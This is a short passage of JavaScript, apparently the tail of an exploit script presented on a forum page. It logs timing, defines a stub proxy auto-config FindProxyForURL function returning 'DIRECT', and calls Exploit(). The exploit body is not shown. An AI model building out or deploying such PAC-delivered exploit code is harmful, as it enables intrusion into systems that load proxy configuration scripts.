var TotalTime = (new Date().getTime() - ScriptTimeStart);
DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10));
typeof MutableVar;
}
function FindProxyForURL(url, host){
return "DIRECT";
}
Exploit();
Recommended Comments